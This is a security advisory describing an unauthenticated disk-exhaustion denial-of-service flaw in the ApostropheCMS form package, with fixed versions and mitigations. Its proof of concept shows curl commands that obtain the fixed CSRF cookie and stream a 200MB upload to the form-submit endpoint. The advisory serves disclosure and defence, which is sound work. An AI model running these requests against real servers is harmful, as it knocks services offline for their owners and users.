ApostropheCMS: Unauthenticated Unbounded Multipart Upload Leading to Disk-Exhaustion DoS
Summary
The form submission endpoint runs multer({ dest: os.tmpdir() }).any() before authentication, API-key, CSRF-equivalent, or form-existence logic, with no size, count, or rate limits. Unauthenticated users can stream unbounded bodies to disk per request; cleanup occurs only after the full body is received.
Details
packages/form/index.js apiRoutes.post.submit (L274–296): [ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]. No limits, no rate limiting, and no pre-validation. "CSRF" is a fixed-value double-submit cookie (vulnlab.csrf=csrf, set on any GET, express/index.js L694–703) — trivially obtainable anonymously.
PoC
$ curl -s -c csrfjar.cookies http://localhost:3100/ # get vulnlab.csrf=csrf (any GET)
$ df -P /tmp # before: used=1105212
$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \
-F "file=@/tmp/opencode/big.bin;type=application/octet-stream" &
DURING transfer: used=1148668
still transferring: used=1226936 # +121MB mid-transfer on disk
http=500 time=1.78s sent=209715411B # generic error AFTER full staging
# Anonymous, zero credentials. 200MB written to /tmp pre-validation.
Impact
Any unauthenticated client can force the server to persist entire request bodies to the temporary filesystem and CPU-decode them; parallel requests exhaust disk /tmp (process/host crash) and saturate the event loop, resulting in a remote denial-of-service (DoS). Aborted transfers risk orphaning staged files (no req.aborted cleanup).
What to do
Upgrade @apostrophecms/form to version 1.5.5 or later.
Additionally, configure multer limits (fileSize, fields, parts, fieldSize); perform authentication, role, or existence checks before the multer mount or inside the checked handler; unlink staged files on first read and on req.aborted/error; and implement per-IP rate limiting.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @apostrophecms/form | < 1.5.5 | 1.5.5 |
References
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-89mh-mm8c-mv7f
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/@apostrophecms/form@1.5.5
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-770- Platform
- npm
- Package
@apostrophecms/form- Disclosed
- 20.10.2026
- Updated
- 20.10.2026 21:23
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-89mh-mm8c-mv7f - CC BY 4.0
Vulnerability history: @apostrophecms/form
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 10.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 2
Disclosures per year
- 2026: 2
-
ApostropheCMS: Unauthenticated Unbounded Multipart Upload Leading to Disk-Exhaustion DoS this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.